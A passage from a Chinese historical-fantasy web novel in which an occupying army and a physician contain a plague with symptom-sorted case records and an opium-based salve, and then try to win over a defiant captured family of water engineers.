其时正当士兵换岗,外面传来整齐的脚步声。这半个多月来端木槿已经习惯了这样稳健的“踏踏”声,仿佛是宣告一种坚定的保护,让人感觉十分安心。人一放松就感觉累了,眼皮不住地往下沉,头也越来越重。可正在这个时候,那脚步的节奏突然一变,士兵全体肃立:“将军!”端木槿一惊,瞌睡虫跑了,抬头看,是玉旒云和石梦泉来到了外面。 原来玉旒云休息了半个月,身体已经好了许多,听石梦泉汇报这些日子军民同疫病斗争的状况,又知道前夜大夫们第一次汇总所有病人的记录,说什么都要亲自来看看。石梦泉拗不过她,只有陪着一道来。他二人看到窗口的端木槿,都微笑着招呼。 端木槿虽不再对玉旒云心存敌意,但是也不能把她当作朋友,于是淡淡地点了点头,却突然听到身后一人道:“玉将军,石将军,你们怎么来了?”竟是罗满。端木槿不由吓了一跳:“你……你什么时候到了我后面?” 罗满反而显得比她还吃惊:“我昨夜一直和诸位大夫在此,方才他们走的时候你说还要多研究一会儿,我还说要留下来帮你打下手,你怎么就忘了?” 端木槿愣了愣,一看自己身上披着件斗篷,显然是方才打瞌睡的时候罗满的所为,再细一回想:他可不是从前一夜起就一直在此么,只是自己专著病历记录,完全没有在意罢了。不觉脸上一红:“对不起。” 玉旒云笑道:“端木姑娘大概是一夜没睡,现在头脑都糊涂了。我们行军打仗还说要避免疲劳作战,你不如先去休息休息。” 端木槿摇头道:“一刻不找出最有效的药方来我一刻就睡不着——哪怕只是一盏茶、一顿饭的时间,也会有许多病人死去。” “可是,如果端木姑娘也倒下,那病人岂不都无望了?”罗满道,“也怨我出的这个馊主意,抄了这么密密麻麻几大本,看得眼花了也看不出所以然来。” 玉旒云笑道:“你布了个迷魂阵给自己钻,我且瞧瞧!” 她说着走进屋来,随手翻开了一本总册,见上面无非是张三某日的症状如何,用了什么药,次日的症状呕如何,用了什么药,第三天的情形又如何——有时记到第三天,这个病人就死了。她看了几页,实在毫无头绪。 石梦泉惟恐她在外面耽搁久了会感染疫毒,想要劝她回去休息。可是她举起一只手示意不要打扰,自对着那册子出神地思考。半晌,忽然笑道:“哎呀,罗副将,亏得你还是你身经百战,我来问你——每次派遣士兵出战的时候,你如何发号施令?莫非说:张三,你会骑马,你去打前锋,李四,你箭法好,你去设下敌人的大旗,王五,你也会骑马,你跟着张三冲锋?” 罗满不明她的用意。 玉旒云笑道:“你是我和梦泉的得力干将,我二人麾下的士兵是如何编制的,你总清楚?我们有骁骑营、健锐营、步军营、神弩营、前锋营、工兵营,各营士兵有所专长,打仗的时候你不需要知道张三、李四还是王五,只需要派出骁骑营,你就知道这里全是弓马本事过硬的士兵,派出神弩营,就晓得个个百发百中的神箭手……” 她说到这里,石梦泉已经大概明白了她的意思:“大人是说,现在所有的记录都是按各个郎中所负责的区域装订,如果重新整理,按照不同的症状归类,就比较容易看出端倪——是也不是?” 玉旒云不及点头,端木槿已欣喜地叫了起来:“可不是!我虽然心里是按照症状来寻找,但是看了后面就忘了前面,就算笔记都不行,究竟是把所有记录重新整理来得清楚。” “既如此,”玉旒云道,“罗副将,你再抽调二十个识字的士兵来,立刻按照症状把这些记录重新归类誊抄,抄完了再拿来给端木姑娘过目——而端木姑娘大可趁这时间去休息一下。我希望今天晚上就能有所突破。” 端木槿的确累,不过自听了玉旒云的提议就兴奋得睡不着。好容易盼到士兵们将记录全都抄写完,就迫不及待地来看。这次果然比原来清楚了许多,虽然那最凶险的瘀斑、紫绀依然药石无灵,但却发现用石膏、生地、赤芍、归尾、甘草和柴胡等可以治疗大热大渴之症,而加上朴硝、知母、红花、连翘、桃仁、枳实和干葛等,就对神昏、谵语有特效;至于身上的肿块,除了用石灰、雄黄之外,捣烂的河蚌或草麻根亦可以减缓肿痛——这些虽无一是立竿见影的灵丹妙药,但至少给了大家些许希望。端木槿将这些笔记传给各位郎中看,让他们在此基础上继续改进,力求能够治愈疫病。 郎中们先有些将信将疑,不过既然端木槿受樾军指派全权负责抗疫之事,众人就按照她的交代用药。如此过了三天,再汇总病历时,发现虽然病患的情况并无明显的好转,但是也没有太多的恶化——大夫们都知道,对待这种凶猛的疫病,最怕“药未服而症已变”,若不能把病治愈,能暂时找到一种药将病情控制住,也是十分好的。众人便振奋了起来,士兵们对症状变化和药材加减的记录愈加详细。病历又汇总了三次之后,又有好几个新方被总结了出来——这时候病人只剩下八百多人,大部分身上的肿块都已化脓溃烂,众大夫就把精力集中在处理脓疮之上。有的以拔毒膏贴之,俟其脓成,拔出疔头,有的则用天仙子研末调醋厚敷,日易五六次,不过最有效的要属一位曹大夫——那天黎明,众大夫还聚在端木槿的房中研究病历,突然有曹大夫辖区的士兵上气不接下气地跑了过来,也不叫外面的士兵通传,就嚷嚷道:“好了!有人好了!” 众人都是一愣,看到士兵脸上狂喜的神情,难以置信地相互望望:是有人病好了么? 片刻,没有一个人说话,只是一个跟一个都站了起来,然后又一个跟一个地出了房。士兵也没再说什么,调头在前带路,大家就来到了曹大夫辖区的一间房中,只见一个青年在床上坐着,面色红润,双目有神。曹大夫头一个走上前去,一试额头,再一搭脉:“啊,真的好了!” 端木槿和其他大夫也拥到了跟前,细看这青年身上的脓疮,发现全都愈合结痂,问他有哪里不舒服,青年只是摇头。众人都欣喜万分,把床头的病历册子拿来,想要看看曹大夫究竟用了什么灵药,却见上面只写着“黑玉膏”三个字,大家都奇道:“这是什么东西?用什么药材配的?” 曹大夫凑上来看了看:“哦,我试了好几种药,原来这个有用——其实也没什么,就是熊胆和烟膏。”他说着,从身上摸出一个小盒子来打开给众人看,道:“其实熊胆用的倒还少了,主要是烟膏。” 众郎中嗅了嗅气味,果不其然:“真是□□!” □□?罗满心中一惊,这不是樾国明令禁止培植与提炼的毒物么?听说害处极大,居然能够治病? 端木槿却似乎一点儿也不惊讶,只道:“还有哪个病人用了这黑玉膏的,我们看看去!” 曹大夫便前面带路,又看了隔壁的一对祖孙和对面的一家三口,虽然无一人像那青年一样精神奕奕,但是他们都已经不再发热,身上的脓疮也有愈合的迹象,对比曹大夫其他未使用黑玉膏的病人,这些人的状况明显好得多。看来这黑玉膏果然效果非凡。 端木槿道:“如果调集全城所有的熊胆和□□配制黑玉膏,不知够不够所有病患用?” 乾窑的众郎中道:“要说别的药,还真难找,这两样倒还容易——”原来二皇子带着军队去靖杨之前曾在这里逗留,他喜爱抽□□,又爱喝熊胆酒。人家“兵马未动,粮草先行”,他出来挑衅樾军,就把这两样东西随军运送。他指望自己能在靖杨和樾军纠缠上很长一段时间,然后还可以率军深入樾国,怕将来从江阳运熊胆和□□会来不及,所以实现囤积了一批在乾窑,以备不时之需。现在二皇子早在富安做了无头鬼,这些熊胆和□□就堆在乾窑成了无主之物。 端木槿听了,道:“这可太好了,就去和石将军说一声,让他调拨些人手立刻着手办起来!” “端木姑娘……”罗满忍不住轻声道,“这恐怕有点儿麻烦……”因把□□在樾国为违禁之物的事略略说了:“这东西真能治病么?难道只用熊胆不行?我怕……” “世上万物岂有一样是十全十美,又有哪样一无是处?”端木槿道,“麝香虽好,却能使妇人滑胎,砒霜虽毒,却可以治疟疾、痰喘和瘰疬——这□□的确会使人上瘾,但是也可以治疗痢疾。如今你确实看见它能治疫病脓疮,难道还不用它来救人么?” 罗满道:“这……还是由我去和石将军说吧。” 他心中很是矛盾,因为这毒物一旦管理不甚就会在百姓中甚至军中流传起来,祸害无穷。不过□□又却有奇效,因此他也怕玉旒云和石梦泉会不准使用。 便怀着忐忑的心情到了玉旒云处,不料将事一说,玉旒云没有丝毫的犹豫,立刻答应,且笑道:“好极了,以往征调的那些东西将来还得估价补偿,二皇子反正已经见阎罗去了,这些东西理当充公。你问明了他们储藏之处,就立刻召集人制药。” 罗满不意事情如此顺利,即兴高采烈地回去告诉了端木槿和诸郎中。曹大夫写出了黑玉膏的详细制作方法,罗满立即让韩夜挑选神弩营中老实可靠的一批士兵来帮忙制药——纵然这些人是韩夜所推荐最忠心诚实的一批,罗满还是坚持在出入烟膏仓库和出入制药作坊时对所有人员进行搜身检查,严防夹带烟膏。 这日起,整个病区的八百多病人开始使用黑玉膏,次日即大见成效,与原来的汤药配合着使用,内外双管齐下,第三日有五十多人基本康复,第四日,又有一百多人复原,到了第七日,除了有几个身体特别弱的人依旧在康复之中,其他病人都可以下床行走了。虽然为了防备万一,症状完全消失的病人也还在病区内居住,端木槿率领众位郎中战胜疫病的消息已像长了翅膀似的传遍全城,一个月来只在划定的区域内小范围活动的老百姓纷纷涌上街头——日色崭崭,料峭的春寒已经在不知不觉中被温暖的和风所取代,许多人都拿着自制的糕饼点心等在病区的门口,有的是想让士兵传给自己的亲人,而有的则是特为来感谢辛苦已久的大夫和值班的士兵们,一时间大家竟忘了驻扎在此的乃的敌国军队。 玉旒云本来想亲自到跟前去一睹盛况,但是被石梦泉强行拉住,只得在县太爷府邸的一座楼阁上用望远镜眺望,解解眼馋:“我们打过这么多场仗,占领了这么多的城市,这情形还是第一次见到呢!” 石梦泉有很多感慨,却不便发:他们可以说是“兵不血刃”,但也可以说比以往任何一次战役都打得辛苦;他们可以说是不杀一民,也可以说是杀人无数;他们可以说是以最小的伤亡换来了最大的胜利,但是又可以说是付出了惨重的代价——石梦泉觉得后怕——玉旒云的身体状况是一件,而水淹靖杨既而引起瘟疫,这更是一个甩不脱的阴影,他努力不去想,但是这一切又时时浮上他的心头。一只细瓷碗被摔坏了,可以请巧匠来掬,只是再怎么高明的工匠也不能将这只碗恢复原状,裂痕将永远存在。莫非他和她之间就像这只碗么? 久不听挚友说话,玉旒云放下望远镜看了他一眼:“怎么?你不是累傻了吧?这些天我除了吃就是睡,简直快变成猪了,你却除了处理公务就是陪着我,都瘦成竹竿儿了——还说怕我出去会感染疫病,我看你出去被人一口气吹跑了才是真的!” 石梦泉一怔,振作起精神来:是了,我们之间的关系怎么可能像脆弱是瓷器?不管她是怎么想的,我对她却始终如一,是火烧不化,锤打不烂的!因笑道:“大人太小看我了,把我当纸糊的不成?大人要是觉得最近疏于锻炼,我愿意陪你练几趟,活动活动筋骨也好。” 玉旒云“嗤”地笑了,道:“呵,你不是纸糊的,可你不是一直把我 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顾长风?此人心系百姓疾苦,对地方治理农耕水利都很有经验,石梦泉想,何况,他始终对玉旒云有些误会,留他在京里日夜摩擦,倒不如外放他到可一展拳脚之地……当下点头道:“非常合适,那么总兵打算派谁?” “还需要找吗?”玉旒云摇了摇望远镜,朝病区的方向一指,“罗满在乾窑出了多少力,我们看到,百姓更加看到。他们服不服他我不知道,但是总不会反他吧?总不忍反他吧?” 果然如此,石梦泉不用望远镜也能看到病区那边人头攒动。解救乾窑的大功臣是端木槿和众位医生,可是若没有罗满想出给每个病人配上一本病历,恐怕大夫们也没有这么快找出药方。而且,占领乾窑后的政令虽然出于自己,却是由罗满监督实施的。不过,决定不惜一切代价抗疫赈灾的却是玉旒云——戴着手套而造成的过失她都一个人背了,而戴着手套取得的成绩她却不肯占为己有,石梦泉想,这就是玉旒云被许多人误解的原因。 玉旒云自己毫不在意,只道:“等病区里的人全好了之后,我大军就要继续前进。把罗满留下来组织百姓修筑水利开展春耕,我们也可放心了——” 正说着,有士兵来报:“将军,北方有战报来了!” “哦?”玉旒云道,“我正想知道在这里耽搁了一个月刘子飞这老小子在北方干得怎么样——递上来!” 士兵犹豫了一下,道:“这……这战报古怪得很,递不上来。怕得请两位将军亲自去看。” 玉、石二人互望了一眼:还有这么奇怪的事?刘子飞——或者不如说郭罡又在搞什么鬼? “就去看看!”玉旒云站起了身——世上还有她怕的事么? 便和石梦泉一起随着那士兵走出了县衙门,又上了马,一直来到乾窑的北门外。这就不由吓了一跳——十来个兵士护送着五辆马车正停在城外,那赶马车的看来都是寻常的大户人家家奴,车后捆着大包小包的行李,有几辆车里还传出了孩子的哭闹声。玉旒云不禁奇道:“这……这是什么战报?” 众士兵士见玉、石二人来了,都下马向他们行礼。领头的竟然是邓川。当日玉旒云留他在朱家坝,大约后来是跟刘子飞去攻打龙牙关了。“玉将军,石将军,能见着你们真是太好了!”邓川道,“我本到富安去寻你们,后来追到靖杨,又一路来此,还担心你们进兵太快,追不上呢!” 玉旒云没心思寒暄,只问:“你带这些人来,是何意思?” 邓川道:“是这样——刘将军已经攻下龙牙关了,接着就占领了定洲城。他一进城就派了骁骑营三百铁骑去包围一户姓乔的大户人家,要主人乔日新出来投降。不过,乔家人根本就不理会,似乎他们是一方巨富,家里粮食充足,就围上半年也不怕。刘将军气得不得了。” 玉旒云皱着眉头:“这是搞的什么鬼?”当日郭罡和刘子飞密谋劫持乔日新的时候玉旒云正在房里发火,一点儿也没听见,这时莫名其妙。 邓川又接着道:“我们也不知他是何意。不过有天夜里,郭先生来找我,他说骁骑营将打开一个缺口,要我立刻带一队人从缺口进入乔家,把他全家带出定洲到南方来见你。我是丈二和尚摸不扎头脑,不过既是郭先生的话,我就听了。这里五辆马车就是乔日新全家。” 郭罡?玉旒云和石梦泉互望了一眼:这个名字让他们有些不自在。 “乔日新是什么人?”玉旒云道,“郭罡为什么要你带他来?” 邓川道:“郭先生有一封信在此,请将军过目。”说着,就把信交给玉旒云。 玉旒云展开看了几行,眉头锁得更紧了,望望邓川,望望那几辆马车,又低头继续读信。石梦泉还没有看到信的内容,心中已升起了不安:郭罡这人诡计多端,先已将他和玉旒云害得如此,现在又要玩什么花样?不错,玉旒云也知道姓郭的绝非善类,会对他有所提防,然而郭罡仿佛能看穿她的心思,看到她的弱点,因而能操纵她,令她接受最狠毒的计策……真希望玉旒云能直接将那封信撕掉,看也不要看,这才能彻底躲开郭罡的算计。 玉旒云终于将信读完了:“梦泉,你看看——”她把信递了过去,自己却走向乔家的马车:“乔老先生在哪辆车上?樾国玉旒云拜见。” 她并没有立刻得到回答。有好几辆车的车帘儿都微微揭了起来,可知里面有女眷在闪缩窥人——她们大概对樾国这位神话般的少年统帅早有耳闻,虽然立场敌对,还是忍不住要看看究竟是怎样一个人物儿。 石梦泉迅速地将信浏览了一遍。郭罡说话很简短,一个多余的字也无,甚至连问候都省了。信里只交代了乔日新的身份,说他不仅是郑国德高望重的绅士,更是一位水利高人——当日富安城中码头地道的神奇水池就是出自他家先人的设计;乔日新是乔家水利技术的传人和发扬者,他一定可以帮助玉旒云解决南方洪涝的问题,使得大军在南线可顺利前进,同时也可以帮助安抚南方占领区的人心,防止暴乱。 果真如此么?石梦泉将信将疑。这时,他见一辆车上跳下个年轻人来,二十七、八岁的样子,虽然历经长途跋涉,还是锦衣华服,气宇轩昂。他带着怒容大步走到了玉旒云面前,道:“你就是玉旒云?你派人把我们全家绑架来此,究竟是何意图?” 玉旒云瞥了他一眼,未及回答,石梦泉已经走了上来,道:“你又是何人,这样跟大人说话?” 青年傲慢地掸了掸衣服,仿佛跟这些武夫面对面也是对自己的侮辱一般,道:“我乃乔百恒,是乔家长子。我们乔家人向来就是这样,见了什么人就说什么话,人以礼待我,我以礼待人,人若以无礼待我,我自然也以无礼待他——世上有谁对待强盗绑匪还恭敬有加的?” 好厉害的一张嘴!石梦泉担心玉旒云立刻就要发作了,不想,她面色如常,很平静地道:“为了将乔先生请来,实在不得已,用了非常手段,还请乔公子见谅。” 乔百恒一怔,大概是没想到以冷酷骄傲而闻名的玉旒云竟然没被自己激怒,一通恶言就好像拳头打在了棉花里,力气有去无回。呆了片刻,他才道:“你这非常手段,未免太叫人吃不消了吧?先叫人围了我家庄园,又叫人强行把我们带上马车,颠簸来此——如此匆忙,我们连行李都来不及整理。上有老,下有小,路上若出了什么事,你可担待得起?” 玉旒云的面色还是淡淡的,不过石梦泉看得出她是在努力让自己不要发火。“我虽然久仰乔老先生的大名,不过叫人包围你家庄园的并不是我,叫人带你们出来的也不是我。”她道,“乔公子孝顺长辈又疼爱晚辈,玉某人十分佩服,你惦念家中财物,我也很是理解。但是,我想告诉公子,如果不带你们出来,长期围困下去,恐怕对你家老人孩子更加不利,而你们激怒了那位刘将军——哼,他是以屠城纵兵而闻名的,一旦他失去耐性,你家的财物能不能保得住就是问题了。” “你……”乔百恒气得想要高声斥责。可玉旒云冷冷地瞥了他一眼,他立刻像被寒冰冻住,把什么话都咽回了肚子里。后面那些在车上偷窥的女眷也纷纷都放下了帘子来,各自按了按心口:好可怕的眼神! “百恒,你退下!”响起了一个威严的声音,便见第二辆车上有个男子跨了下来。他身材魁梧,皮肤是古铜色,从额头和眼角的皱纹来看,分明已经年过半百,就是头发和胡须都还是乌黑的,可见身体极好。这一定就是乔日新了,玉旒云想,因为乔百恒立刻就垂首闪到了一边。 “玉将军,”乔日新负手来到跟前,“你是真心搭救我也好,和那刘将军搭档演戏也好,如此大费周章地找老夫来究竟有什么事?”不等玉旒云回答,他又接上一句:“刘将军包围我岳父家,逼老夫跟他合作,是要老夫投效樾国,做卖国贼,帮你们统治我国百姓。若玉将军也是为了这个目的,那大可以不用说了,老夫愿现率全家领死。” 这是真有骨气,和他儿子那夸夸其谈大不相同!石梦泉忍不住对此人肃然起敬:如此看来,他的确是在郑国颇有声望之人,郭罡倒没说谎。 “在乔老先生面前我可不能说谎。”玉旒云道,“不错,如果乔老先生能安抚南方的百姓,那是再好不过的了。但是,你既然不愿意,我也不能勉强,否则我和刘子飞还有什么区别?我的……我的一位幕僚说乔家是郑国的水利世家,老先生对堤坝桥梁都很有造诣,不知老先生愿不愿意在此地治水?” 乔日新眯起眼睛,想检视一下玉旒云是否在说谎。 玉旒云道:“乔老先生随邓副将一路前来没有发现这里有发过大水的痕迹么?” 乔日新当然看到了,他不知内情,还一直奇怪呢。“冬天里为什么会突然发大水?”他问。话一出口,突然反应了过来——洪水,樾军的侵略,他全家被绑架来此,这不会是巧合。“你——”他指着玉旒云,“你为了攻城掠地,竟然毁坏堤坝?” “不是玉大人做的!”石梦泉见玉旒云丝毫没有要为自己辩解的意思,就忍不住冲口而出:“有人瞒着她毁坏了你家富安旧宅中的机关,大青河水灌进地道才淹没了下游。玉大人率领我们日夜抗洪,刚刚才大病一场……” “梦泉——”玉旒云止住了他,自己对乔日新道:“现在追究是何人造成了洪水一点意义也没有。富安的地道是我叫工兵营的人堵的,究竟效果如何、能支持多久,还是个未知之数。靖杨的河堤有多处渗漏,是这位石将军率领将士们修葺的,有多结实,我们也不知道。现在工兵营还有不少人留守在堤坝上,防止出现险情。靖杨、乾窑等县地势低洼,一旦上游再出现洪水,后果如何,我想乔老先生比我们都清楚。你是想赶紧去富安和靖杨修筑水利,还是想……如果你想回到定洲的家里,或者去别的什么地方,我都不会阻拦。乔老先生,你是何说法?” 乔日新拈着胡子:“老夫背井离乡从辽洲迁到定洲就是为了不做亡国奴,不听你们樾人的差遣,你说老夫有何说法?” 玉旒云背着手:“我没有‘差遣’你,不过是让你自己选择。” “我们能选择吗?”那边乔百恒大声插嘴,“强盗把人抓了来,叫人家选择怎么个死法,这叫什么选择?笑话!要是今日我把你制住,拿刀架着你的脖子让你选择是砍左手还是砍右手,你又是何说法?” 玉旒云不理他,只是看着乔日新,道:“除非是神仙,要不谁能自由地选?我也希望地道的机关从来就没有被毁,就可免去了很多麻烦,也不必和老先生僵持在此。但是现在别无他法,希望老先生也能以百姓生计为念……” “你同老夫说百姓生计?”乔日新语气里带着讽刺,“我还以为将军视人命如草芥。” 玉旒云被敌人骂得也多了,轻轻一笑,道:“玉某人是否视人命如草芥其实并不重要,重要的是乔老先生你视人命如何?” “哼!”乔日新冷笑了起来,“你不必花言巧语来激将老夫。别以为老夫顾念百姓的生计就会替你卖命。我郑国虽弱,但还不至于弱到奴颜卑膝,向强盗摇尾乞怜。你会用洪水当武器占领我国的城池,我们也会用洪水作武器,向你们反击。我乔家是郑国大族,蒙各方抬爱,做了百姓的表率。我就要告诉全郑国的百姓,带着他们投降,让他们苟全性命,不是真的对他们好,相反,带着他们抛头颅、洒热血,将强盗赶出家园去——大不了宁为玉碎不为瓦全,这才能让他们不至无颜见列祖列宗!” 这一席话说得掷地有声,大出玉旒云的意料之外。对付战俘,她可以威逼可以利诱,乔日新这样的,还第一次遇到。老先生铁骨铮铮,她一时不知要如何应对。 “怎样?”乔日新道,“老夫的话说完了,老夫想立刻带了全家东去江阳,和我国军队一起与将军决一死战。将军方才说不会阻拦,老夫可以走了吗?” 玉旒云的拳头捏紧了又松开,再捏紧,再松开。“不行。”她终于冷冷的道,“我改变主意了——邓副将把乔家人就地给我看守起来!” “好!”乔日新冷笑,“你终于露出了本来面目!你何必将我们关在城外?我看你将这城围得铁桶一般,怕是在里面屠城吧?索性将我们带进去杀了,岂不干净?我是永远也不会帮你做事的!你死心好了!” “我就是不要你死,所以不让你进城。”玉旒云道,“这城里有瘟疫,刚刚才控制住。你想进去,等疫毒全部清除了再说——步军营的,你们协助邓副将看管这家人,一个也不许跑,一个也不许死!” 64. 第 64 章 乔日新这宁死不食周粟的架势并不是装出来的。在邓川和步军营士兵的监视下,他拖家带口绝对走不了,于是就选择了绝食对抗。他不仅自己不吃樾军送来的饭食,也不允许家人吃。大人们都一声不响地支持着一家之主的决定,小孩实在饿得发昏,就哭闹了起来。邓川等人有心劝乔日新几句,又怕弄巧成拙被玉旒云怪罪,只有眼睁睁看着。 到了夜幕降临的时候,士兵们看到罗满和端木槿从城里出来了,后面有几个健锐营的士兵帮忙抬着瓦罐,一路行来有浓烈的药味。 罗满和邓川久不见面了,相互了招呼了一声,说明来意:原来是怕乔家人和邓川手下远道来此会感染疫病,所以特别带了汤药来给他们。 邓川搓了搓手,谢过端木槿。他已从守城的步军营士兵处听说了瘟疫的情况,理会得厉害,立刻就叫同来的士兵各自领了汤药去喝了,又道:“乔家人正闹绝食,我看很难劝服他们。不知玉将军怎么打算?” 罗满不待回答,端木槿早注意到了孩子的哭声,便朝那辆马车走了过去。这孩子是乔百恒的儿子,才不过四岁而已,他母亲王氏在一边心疼万分,但碍于公公,并不敢表露出来。端木槿一言不发,伸手就去抱那孩子。王氏急了,道:“你做什么?” 端木槿道:“你也下来,吃饭,喝药。” 王氏自己也饿得心慌,但仍要拒绝,道:“我不去。你是什么人?” 端木槿道:“我是大夫。这里瘟疫流行,如果不想染病,就来喝药。” 王氏呆了呆:“真的有瘟疫么?不是玉旒云吓唬人的吧?这病厉害不厉害?” 端木槿道:“治的及时,十之七、八都能好;如果伤及内脏,就神仙也难医。不过最好还是喝药预防,不得病为妙。” 王氏听了这话就忘了他们全家绝食乃是为了求死,赶紧抱了孩子欲下车来。却听乔日新的声音道:“做什么?横竖是死,你回去告诉玉旒云,让她别以为用这么点雕虫小技就想使我们屈服!” 端木槿看了看他:“乔老前辈么?你一心求死,何苦连累他人?” 乔日新道:“老夫何曾连累他人?老夫的家人和我是一样的心思。要我们做卖国贼,想也不要想!” 端木槿仿佛一点儿也未被他的气节所打动,只是道:“就算是你全家都愿意陪着你死,你难道想这里所有的人再经受一次瘟疫之苦么?” 乔日新皱着眉头:“我自殉国,如何会使旁人遭受瘟疫之苦?” 端木槿淡淡地:“这里瘟疫肆虐,我们已经耗费了一个月的时间,好容易才有了起色。虽然古时医书都认为瘟疫是热毒,其实我看无非一种寄生在人畜身上吸取生气的毒物,只不过身形极其微小,肉眼看不见罢了。既然此毒物靠吸人生气过活,如果不能感染人身,大约就会消亡——乔老前辈现在一味固执己见不肯服药,万一沦为疫毒栖息繁衍之所,瘟疫再流行起来,我和诸位大夫之前的辛苦,这城中百姓过去的牺牲,岂不都白费了?” 乔日新并不懂医理,听端木槿说的前因后果并无不合理之处,就沉默了片刻,道:“听姑娘的口音,并非我郑国人氏,怎么会到了这里?” 端木槿道:“晚辈是楚国人。本来是想来探望一位故人,不想他已不在此间。” “你是楚人?”乔日新看了她一眼,“那你怎么还和玉旒云同流合污?她对你的同胞父老犯下多少滔天罪行,你竟甘心受她利用?” “我没有受她利用。”端木槿静静地道,“我只是尽一个大夫的本分,是病人,我就要医治。” 乔日新看着她,觉得她的话语天真得不可理喻:“你怎么能敌我不分?你救了敌人,他日人家来杀你时,岂会顾念今日之恩?” “大夫救人难道是图报恩的?”端木槿淡淡道,“何况,我在乾窑城救的不是敌人,都是你们郑国的百姓,是乔老前辈你的同胞父老。如果前辈执意不肯服药,造成疫病再次流行,那受苦的也不是你的敌人,是你的同胞。” 乔日新愣了愣,道:“国家至此,如果能和樾军同归于尽,也是好的。”言下之意,若疫病再次流行能重创樾军,搭上乾窑也值得。 端木槿略带惊讶与失望地瞪着乔日新:“樾军有手有脚还有武器,如果疫病流行起来,他们只需要封上城门一走了之就可——先前郑军就是这样做的。他们怎么会等着瘟疫来杀自己?” 乔日新怔了怔:“竟然……竟然会做这种事……国家岂能不亡!” 端木槿道:“不过也许你牺牲乾窑的确也能将樾军困死在这里。因为我看玉旒云不会走。打开乾窑城治疗疫病就是她下的命令。她说过,疫病一天不除,她就一天不离开。” “为什么?”乔日新道,“想以此收买人心么?” “我不知道。”端木槿道,“玉旒云是个奇怪的人。谁也猜不透她在想些什么。” 乔日新冷笑了一声:“她在想些什么?无非是想侵占我国土地,奴役我国人民罢了。这些武夫强盗,所求的无非是杀死对手,保全自己。真正遇上了危险,你还怕她不走?现在是有你在这里帮她控制了疫病,所以她敢出此狂言,如果你不再受她利用,我看封城而去的日子也就不远了。” 端木槿沉默了片刻:“也许。但是我不会走。一天不把疫病彻底消除,我一天不离开这里。” “那么说到底还是你助纣为虐。”乔日新道,“实在不知你那套大夫本分的歪理是从何而来。” “这是歪理?”端木槿道,“当初百草门林枢只身进入不归谷救护病人,你们就奉他为华佗再世,我今也是在此治病救人,无非玉旒云也驻扎在此,医者的本分就成了歪理么?你郑国的兴亡,应该问你们的皇上,问你们的文武官员,问你们的士兵——他们不是应该保护百姓的么?他们自己的本分未做好,这时就说什么‘天下兴亡,匹夫有责’,想叫老百姓来替他们流血牺牲,这叫什么道理?” 乔日新听来,这番话更加是歪理了:“你这个小姑娘,你师傅是什么教你的?你的所为和林大夫的怎么相同?老夫不想再跟你罗唣,你去吧。无论如何,老夫和老夫的家人都决不会吃樾军一粒米,也不会喝一口药。你暗礁玉旒云不要白费心机了!”说完,他袖子一甩,转身而去。 端木槿看着那背影,轻轻地咬了咬嘴唇:还有这么固执的人!她想她自己是问心无愧的,如果是林枢遇到了现在的情形,也会做一样的事。 这时罗满也已经和邓川交代好了防疫的要诀,走了过来,道:“怎么,他们不肯吃药么?” 端木槿摇摇头:“他们不吃,我总不能扳着他们的嘴往里灌……”这事无论如何也和玉旒云和樾军有些关系,她想,虽然樾军在乾窑抗疫中功不可没,但毕竟……她不能把这些对罗满说出来。 罗满也大略知道事情的症结所在:“急不来,不如先回去吧。” 端木槿点头称好,两人就和士兵收拾了东西往城中去。不过,才走到城门口时,却听人唤道:“大夫,等等!”他们一看,正是王氏带着孩子。 “大夫,”王氏低声道,“你说这疫病很厉害,能不能给我的孩子一点汤药?” 端木槿道:“当然可以。”便要亲自取药来。可是又停了手:“此药不宜空腹饮用,你们还是先吃点儿东西。” “这……”王氏犹豫了一下,“你就只带我儿子去,我不能吃。” “你的孩子这么小,”端木槿道,“你不照顾他,难道要士兵们喂他吃饭不成?” 王氏看了看怀里哭花了脸的孩子,把心一横:“大夫,你带我过去吧。” 玉旒云早就在等着罗满的汇报了。要收服乔日新,她想,就要像对付顾长风一样,有人唱红脸,有人唱白脸。当日南方七郡治蝗,她派石梦泉前往,等于是让石梦泉替她收了顾长风,如今对乔日新,她就让罗满去——反正将来罗满会是这里的总兵,只要乔日新服他,郑国人就服他,可长治久安也! 听到乔日新的孙子已经吃了饭又喝了药,她很是开心,暗想,如此一个接一个攻破,没多久就能将乔日新收归己用。 可惜得意的太早。第二天一大早,她就得到步军营的报告,说乔日新发现他儿媳妇的所为,将母子俩罚跪在城外,乔夫人几番为小孙子求情,都被丈夫挡了回去。凡樾军送去的食物、汤药,统统被乔日新丢弃,樾军士兵只要走近乔家的车,他立刻就怒目相向,破口大骂。 玉旒云听言,不禁皱紧了眉头:老匹夫竟这般死硬!如果当真连这个人也收服,整个郑国还有谁不臣服在她的脚下?而现在的当务之急是不让他扰乱乾窑的人心。当下命那士兵:“叫慕容齐加派人手,不要让乔日新靠近城门,也一定不要让任何城里的人靠近他——不,要封锁消息,不可让乾窑百姓知道乔日新来了。晓得?” 士兵顿首得令而去,玉旒云就闷坐着思考对付乔日新的办法。偏这时,她的军医在外求见——这人自从上次被端木槿弄了个灰头土脸后就没有再担任玉旒云的主治——或者不如说,他仿佛在军营里消失了一样,连这次全体动员的抗疫都没见他的踪影,玉旒云还正想把他当逃兵办了,不想自己送上门来,因叫进来问话。 军医满面欣喜之色,手里提着个硕大的木箱,比他平日的药箱还大出三四倍:“大人,属下有好消息!” 玉旒云愣了愣,未问出“什么消息”,军医已经把大木箱放在了桌子上。他取出了两副手套,一副给玉旒云,一副给自己,又取出两条很厚的帕子来,待玉旒云和自己都把口鼻扎住,才小心翼翼地打开了木箱。 只见箱内有一个铁笼,里面有好几只老鼠,正躁动不安地爬来爬去。玉旒云知道这就是传播疫病的元凶,饶是胆大,也不禁朝后退了一步,道:“你弄这些来做什么?” 军医道:“大人莫惊,这几只老鼠都是属下饲养,绝对没有疫病。真正的疫毒在这里——”他说着又打开了一只木箱,但里面只装着一个瓷缸,装如街头斗蟋蟀用的瓦罐,只不过上面用牛皮封口。军医道:“这里是老鼠身上的虱子,被他们咬了,才会染病。” 玉旒云觉得心里有些发毛:“你怎么知道?” 